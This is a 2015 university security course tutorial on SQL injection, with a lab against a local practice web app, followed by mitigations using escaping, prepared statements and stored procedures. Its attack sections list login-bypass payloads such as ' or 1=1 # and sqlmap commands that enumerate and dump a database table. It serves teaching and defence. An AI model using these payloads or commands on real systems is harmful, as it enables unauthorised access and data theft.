A Script Kiddie's Dream

SQL injections and mitigations

Sanjeev Shrestha & Christopher Goes

April 10, 2015

University of Idaho

CS 439: Applied Security Concepts

Executive Summary

SQL Injection is a web attack mechanism in which a malicious SQL statement is "injected" via the input data field from the client to the data driven web application. It is one of the most common application layer attack techniques employed by attackers today. In this tutorial, we will perform several attack, and implement several well-known mitigations.

Contents

1 Problem Statement >

- Improper Sanitation of Input fields
- Insecure Development Architecture
- Legacy code

SQL injection (commonly known as "SQLi") vulnerabilities unfortunately still serve as reliable backdoor for attackers seeking to steal confidential information from corporate organizations.

A common cause of SQLi vulnerabilities in applications is blindly trusting inputs, which leads to improper input sanitation. In most simple cases, user input is directly concatenated to the query which is equivalent to the "copy and paste" operation. This results in many different combinations which can modify the query, giving rise to malicious queries. These queries can result in an attacker obtaining privileged or confidential information.

Even when the input has been properly processed, if the development strategy used is not in accordance with modern industrial standards, there might be problems in the implementation methodology. This may result in unpatched versions of software which can be just as dangerous and can be vulnerable to proper malicious input.

A large legacy code-base can be difficult to maintain. If a large portion of the business logic has to be changed, then this can result in uncertainty and caution on the part of developer, which often leads to the deprecated system not being updated. This can present a legacy vulnerability, even though the new implementation methodologies are much more secure.

2 Related News <>

- Wall Street Journal database breach (PC World, July 2014)
- Archos breach: Account info on up to 100,000 users dumped (SC Magazine UK, February 2015)
- Google web crawler manipulated to attack websites (Ars Technica, November 2013)

The Admin credentials to the Wall Street Journal's graphic database were stolen by a hacker known as "w0rm", using a SQLi vulnerability, and listed on the black market. By gaining entry to the graphics system, the hacker may have also had access to 23 other databases on the same server.

The data dumped contained personal and corporate email addresses hosted on French and international domains, as well as customer first names and surnames. Two researchers at the University of York spotted and confirmed the attack, and determined a SQL Injection as the vector: "The input of their site wasn't filtered, so we could manipulate the SQL commands." It also seems the site was already flawed: "There are also multiple fundamental security flaws – no HTTPS on the log-in, password stored insecurely, password sent via email etc"

Traffic was from a Google Web crawler was being blocked by a firewall because it appeared malicious, like it was an attempt at SQL injection. Further examination of the firewall logs showed other, similar requests from Google IP addresses also being blocked. Unsurprisingly, Google isn't actually using its Web crawlers to perform SQL injection attacks. Unknown, and presumably malicious, third parties are. Imagine that there's a site you want to perform an SQL injection attack on. You construct all your SQL injection URLs for the site and stick them into a Web page that you control. Google spiders the Web page and attempts to follow all the URLs it comes across. Since each of those URLs is an SQL injection URL, Google's crawlers attempt to perform SQL injection on the victim. This technique has some significant limitations: the attacker can't actually see the response to the SQL injection attacks, which limits his ability to use this technique to probe systems.

3 Background: SQL <>

- Structured Query Language (SQL)
- Statement syntax and examples
  - SELECT
  - UPDATE
  - DELETE
  - DROP
- Stored Procedures

Structured Query Language (SQL) is a specialized language for updating, deleting, and requesting information from databases. SQL is an ANSI and ISO standard, and is the de facto standard database query language. SQL is not case sensitive (i.e., SELECT is the same as select). Generally, uppercase is used for commands and clauses, and lowercase for everything else. [1]

There are numerous SQL statements. Here are some of the most important ones: [2]

SELECT Retrieves records from a table using clauses (e.g., FROM and WHERE) that specify criteria.

```
SELECT column1, column2 FROM table1, table2 WHERE column2='value';
```

UPDATE Used to update existing records in a table.

```
UPDATE Customers SET ContactName='Alfred Schmidt', City='Hamburg'
WHERE CustomerName='Alfreds Futterkiste';
```

DELETE Used to delete records in a table.

```
DELETE FROM table_name WHERE some_column=some_value;
```

DROP Deletion/removal of indexes, tables, and databases.

```
DROP TABLE table_name
```

A stored procedure is a subroutine available to applications that access a relational database system. It is nothing more than prepared SQL code that is saved on the database, allowing easy reuse. This prepared SQL code can also be passed parameters, which is what makes it a key mitigation as we'll see later in the tutorial.

4 Background: PHP <>

- Server Side Scripting Language
- PHP code **<?php PHP Code; ?>**
- **mysqli_real_escape_string ($link,$escapestr)**
- Prepared Statements
- PHP Data Objects (PDO)

PHP (Hypertext Preprocessor) is a widely-used open source general-purpose scripting language that is especially used for web application development and can be embedded into HTML. The PHP code is enclosed in special start and end processing instructions **<?php** and **?>** that allow you to jump into and out of "PHP mode."

For this tutorial some special programming constructs and and function we will look into are:

- define('key','value')

  Similar to C construct #define key value . For example: define('DB_HOST','localhost') will identify DB_HOST as localhost inside the whole PHP file.

- Session Variables

  3 ways to access Session variables using $_GET for GET Request, $_POST for POST Request and $_REQUEST for both kinds of request(GET & POST).

- mysqli_real_escape_string($link,$str_to_escape)

  Escapes special characters in a string for use in an SQL statement using the current charset of the given connection. Return value is Escaped String.

- mysql_prepare($link,$query)

  Returns a Prepared Statement which is then used to query the database.

- new PDO($connection_str,DB_User,DB_PWD)

  Creates a new PHP Data Object. This Data Object can be query the database and returns a Data Entity.

5 Introduction to SQL Injections <>

- SQL Injection (SQLi)
- Injection Process
  - Open vulnerable Web App
  - Inject using one of the mechanisms
    - User input
    - Cookies
    - Server variables
  - Process malicious query
  - Review attack results/data

The goals behind SQL Injections are simple: retrieve and/or modify valuable and sensitive information.

Injection process:

1. Identification of the weaker field which is susceptible to the attack.
2. Introduce malicious SQL statements into the application using one of the many attack mechanisms.
   - Injection through user input: Attackers inject SQL commands by providing appropriately modified user input. The Web App is able to access the contents of user input based on the environment in which the application is deployed.
   - Injection through cookies: Cookies refers to Web App generated files which are stored in client machines. They can be used for restoring the client's state information. If a web application uses cookies to build SQL queries then the attacker can easily submit an attack by embedding it in the cookie.
   - Injection through Server Variables: They are a collection of variables that contain HTTP, network headers and environmental variables. These server variables can be forged by the attacker thus they can exploit this to maliciously query the database.
3. When the injection has taken place , the desired extended result set can be obtained from the queried database. The database can also be modified to a different state after the execution of this malicious query.
4. After the changes have occurred the attacker can serve malicious content or false information, steal sensitive information, Denial of Service, etc.

6 SQLi Constructs <>

- Manually Inject the User Input Fields
- Ability to authenticate as Privileged User!!! Why ?
  - ' or 1=1 #. Login as first recorded user in db.
- Ability to Login as Specific User. How?
  - ' or (1=1 and username='chris') – . Login as a specific user in db.

A variety of SQL strings can be found on the Internet for performing SQL injections. Some of the well known which we will be using are listed above. Some other ones worth mentioning are :

- **admin'--**
- **' or 1=1--**
- **'" or 1=1--**

7 sqlmap Introduction <>

- Automated Pen Testing tool for Database
- Automatically finds the injectable parameter
- Launches attack against famous Databases such as MySQL, PostGreSQL,etc
- Variety of Levels of Attacks and Risks
- Ability to change verbosity of output
- Can auto-dump information into files in most 'popular' formats

sqlmap is an automated open source penetration testing tool developed for finding and exploiting SQLi vulnerabilities. It comes bundled with a collection of features which helps the user specify the depth of attack and the level of risk they are willing to go through. sqlmap works by finding a vulnerable GET request parameter and injecting through that parameter. As of now they support common databases such as MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB and HSQLDB.

8 Tutorial 1: Attacks <>

- Manual SQL Injection
  - Part 1 : Login as First User in DB
  - Part 2 : Login as Specific User in DB
- Automated SQL Injection(Using sqlmap)
  - Part 1 : View Databases
  - Part 2 : View Tables
  - Part 3 : View Columns
  - Part 4 : Dump Column Info to CSV

Note: A copy of the commands are given at **Desktop/commandList**.

8.1 Log in <>

- Linux Mint VM
  - User: sanjeev
  - Pass: Book1234
- Open Mozilla Firefox
- Open Terminal

8.2 Manual SQL Injection <>

- Part 1: Login as First User in DB
  - Open URL
    http://localhost/sqllab/index.php
  - Enter Email As: **' or 1=1 #**
  - Enter Password As: **1**
  - Press **Sign in**

In this Log-in example, we assume the structure of the query to be processed in the backend to be of the following format:

```
SELECT 1 FROM SomeLoginTable WHERE username='+Value for Email
Input Field+' AND password =' Value from Password Input Field'
```

Now, careful analysis of our attack shows us that if the input value "' or 1=1 #" is used then the resulting query will become:

```
SELECT 1 FROM SomeLoginTable WHERE username='' OR 1=1 #' AND
password =' Value from Password Input Field'
```

Looking at this query, we can analyze that the **WHERE** predicate always results in **true** and hence the first value of database is used to authenticate the malicious user inside the vulnerable web application.

8.3 Manual SQL Injection <>

- Part 2 : Login as Specific User in DB
  - Open URL
    http://localhost/sqllab/index.php
  - Enter Email As:**' or (1=1 and username='chris') --**
  - Enter Password As: **1**
  - Press **Sign in**

As discussed earlier, in the Log-in example, we assume the structure of the query to be processed in the backend to be of the following format:

```
SELECT 1 FROM SomeLoginTable WHERE username='+Value for Email
Input Field+' AND password =' Value from Password Input Field'
```

Now, careful analysis of our attack shows us that if the input value "' or (1=1 and username='chris') – " is used then the resulting query will become:

```
SELECT 1 FROM SomeLoginTable WHERE username='' OR (1=1
AND username='chris') -- ' AND password =' Value from Password Input
Field'
```

Looking at this query, we can see that the **WHERE** predicate always results in **true** and the user with username as **'chris'** is used to authenticate the malicious user inside the vulnerable web application. The password part of the query is simply commented out.

8.4 Automated SQL Injection(Using SqlMap) <>

- Part 1 : View Databases
  - Open Terminal
  - Navigate to

    cd Desktop/sqlmap/
  - Enter Command:

    python sqlmap.py -u http://localhost /sqllab/search.php?id=1 --dbs

sqlmap has a variety of different options which can be used in conjunction to attack a particular URL and setup different profile of attacks. A general structure of the attack is running the sqlmap python script as given above.

Command line options:

- **-u** : Designate the attacked URL.
- **-h** : Show list of all the options present in sqlmap.
- **--dbs** : show all the available databases on the Database Server.

8.5 Automated SQL Injection(Using SqlMap) <>

- Part 2 : View Tables
  - Open Terminal
  - Navigate to

    cd Desktop/sqlmap/
  - Enter Command:

    python sqlmap.py -u http://localhost /sqllab/search.php?id=1 -D sqltest --tables

After the preliminary round of attack has been carried out, and a particular database to be attacked has been selected, the **-D** option is used to specify which database we are going to be browsing through. The **--tables** option is used to browse through the available tables stored in the given database.

8.6 Automated SQL Injection(Using SqlMap) <>

- Part 3 : View Columns
  - Open Terminal
  - Navigate to

    cd Desktop/sqlmap/
  - Enter Command:

    python sqlmap.py -u http://localhost /sqllab/search.php?id=1 -D sqltest -T member --columns

Once, we find the table of interest, we can focus our efforts of finding the information from the table we want to get information from. One of the prerequisites for properly getting the information needed is by getting an idea of various columns that are present in the database. The **--columns** option actually shows the table structure of the specified table.

8.7 Automated SQL Injection(Using SqlMap) <>

- Part 4 : Dump Column Info to CSV
  - Enter Command:

```
python sqlmap.py -u http://localhost
/sqllab/search.php?id=1 -D sqltest
-T member -C username --dump
```

  - Copy Dump info to desktop to view it

```
cp /home/sanjeev/.sqlmap/output/
localhost/dump/sqltest/member.csv
/home/sanjeev/Desktop/
```

Getting all the needed information from the particular table is trivial after the column of interest has been selected.

- The **-C** specifies the column for which we want to get all the information.
- The **--dump** option actually dumps all this information into a tableName.csv file listing all the requested information.

9 Mitigation <>

3 general methods:

- String escaping
- Prepared Statements
- Stored Procedures

1. String escaping using the **`mysqli_real_escape_string`** function can prevent certain attacks. However, not all attacks can be prohibited using this function alone. Therefore, it is often used in combination with Prepared Statements to prevent SQLi.

2. Prepared Statement: parametrized statement used to execute same or similar queries with high efficiency from the database. The queries are treated like templates, changing the input value to get the changed resultSet. SQLi cannot occur during the execution of prepared statements because the bounded variables are sent separately to the server for processing. A hint must be provided for proper conversion of the sent input variables.

3. Stored Procedures: Similar to prepared statements, a SQL query needs to be constructed, using user input as parameters. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application.

   An example of a stored procedure syntax is on the following page.

```
DELIMITER //
CREATE PROCEDURE procedureName
(IN inputVal PARAMTYPE, OUT outputVal PARAMTYPE)
BEGIN
SELECT output INTO outputVal FROM TableName
WHERE input = inputVal;
END //
DELIMITER ;
```

Breakdown:

- The procedure is written between the two **DELIMITER** tags.
- **CREATE PROCEDURE** statement is responsible for creating the procedure.
- **IN** denotes the input value which is used by the procedure internally and **OUT** denotes the output value which is going to be returned as output.
- **BEGIN** marks the beginning and **END** specifies the end of the stored procedure. Any PLSQL(Procedural Language extensions to SQL) statements can be used in between these tags.
- **PARAMTYPE** is the type of a given variable, such as **INT** for an integer, or **VARCHAR(40)** for a string.

10 Tutorial 2: Mitigation <>

- Fixing code for:
  - Authentication
  - User search
- Implement the 3 mitigation methods for each fix
  - EscapeChars
  - PreparedStmt
  - StoredProcedure

11 Code Fix for Authentication <>

- Navigate to

  /var/www/html/sqllab

  - Open **check_login.php** in Notepadqq
  - Go to Line 166 and uncomment one function at a time
  - **SignInWithEscapeChars**: Using character escape technique
  - **SignInPreparedStmt**: Using Prepared Statement
  - **SignInWithStoredProcedure**: Using Stored Procedure

Browsing through check_login.php we can see 4 different implementations of the Sign-In functionality. SignIn of them has no security feature whatsoever. SignInWithEscapeChars has been implemented to show the use of escaping input character sequence which can avoid some problems but not all. SignInPreparedStmt has been implemented by using prepared statements and are not vulnerable to SQLi attacks. Similarly, the Stored Procedure Call is also not susceptible to SQLi vulnerabilities.

12 Attempt CodeFix for User Search <>

- Navigate to

  /var/www/html/sqllab

  - Open **search.php** in Notepadqq
  - Compare **showSearchResults()** with check_login.php's **SignIn()** implementation
  - Implement **showSearchResultsPreparedStmt**
  - Implement **showSearchResultStoredProcedure**
  - Implement **sp_getUser**

Looking at the implementation of **check_login.php** fill in the corresponding suitable code for the functions **showSearchResultsPreparedStmt** and **showSearch ResultStoredProcedure**. Also make necessary changes to the stored procedure **sp_getUser** and compile it accordingly. Check if any SQLi vulnerabilities still exist. The incomplete code for the Stored Procedure is available in the **Desktop/sqlProc** file.

Note: The answer is provided in the zip uploaded in BBlearn.

13 Review and Discussion <>

1. What is SQL Injection?
2. How do PHP and MySQL communicate with each other?
3. Can SqlMap find all injections for all types of Requests?
4. What are the best approaches to mitigate SQL Injection?
5. If u escape a String can SQL Injection still exist?

- SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution
- Usually PHP opens up a local pipe found at /tmp/mysql.sock to connect to a local version of the server, unless you use an IP address in your connection string.
- No, it can't
- Using Prepared Statement or Stored Procedure or correctly formatting user input
- Yes, it can exist. Escaping is not enough!!!

14 Conclusion <

- SQLi still a large problem after almost two decades
- Mitigation is straightforward and fairly simple
  - Properly Escape User Input
  - Use Prepared Statements & Stored Procedures for better Protection
  - Use SqlMap to check for vulnerabilities
- The Human factor: not just users

References

[1] *What is SQL, and what are some example statements for retrieving data from a table?*
https://kb.iu.edu/d/ahux
Indiana University Knowledge Base

[2] *w3schools SQL tutorials*
http://www.w3schools.com/sql/

[3] Halfond, W. G., Jeremy Viegas, and Alessandro Orso.
"A classification of SQL-injection attacks and countermeasures."
Proceedings of the IEEE International Symposium on Secure Software Engineering.
IEEE, 2006.
http://www.cc.gatech.edu/~orso/papers/halfond.viegas.orso.ISSSE06.pdf

[4] *SQL Injection*
https://www.owasp.org/index.php/SQL_Injection

[5] *Types of SQL Injection Attacks*
http://download.oracle.com/oll/tutorials/SQLInjection/html/lesson1/les01_tm_attacks.htm

[6] *Prepared statements and stored procedures*
http://php.net/manual/en/pdo.prepared-statements.php
Online PHP Manual

[7] *Prepared statement*
http://en.wikipedia.org/wiki/Prepared_statement
Wikipedia